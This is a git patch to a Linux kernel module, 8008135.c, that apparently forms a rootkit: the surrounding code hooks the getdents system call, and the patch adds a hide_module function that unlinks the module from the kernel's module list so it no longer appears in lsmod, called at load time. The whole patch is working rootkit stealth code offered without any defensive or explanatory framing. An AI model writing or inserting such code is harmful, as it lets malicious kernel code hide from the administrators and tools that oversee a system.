From cbe0fabcea796623944faa83bd8f20e88f4f5503 Mon Sep 17 00:00:00 2001
From: Jan Koerner <jankoerner.1998@gmail.com>
Date: Sun, 1 Dec 2019 23:40:43 +0100
Subject: [PATCH] Modul verstecken implementiert
---
src/8008135.c | 15 +++++++++++++++
1 file changed, 15 insertions(+)
diff --git a/src/8008135.c b/src/8008135.c
index cf253f5..1cd7551 100644
--- a/src/8008135.c
+++ b/src/8008135.c
@@ -83,6 +83,18 @@ asmlinkage long sys_getdents_new(unsigned int fd,
return ret;
}
+
+/*** FUNCTION ****************************************************************
+* NAME: hide_module
+* DESCRIPTION: hides the module from lsmod
+* PARAMETERS: -
+* RETURNS:
+*******************************************************************************/
+void hide_module(void){
+ list_del(&THIS_MODULE->list);
+}
+
+
/*** FUNCTION ****************************************************************
* NAME: 8008135_init
* DESCRIPTION: initializing Kernel Module
@@ -108,6 +120,9 @@ static int __init init_8008135(void) {
printk(KERN_INFO "New syscall in place\n");
+ hide_module();
+ printk(KERN_INFO "Module hidden");
+
return 0;
}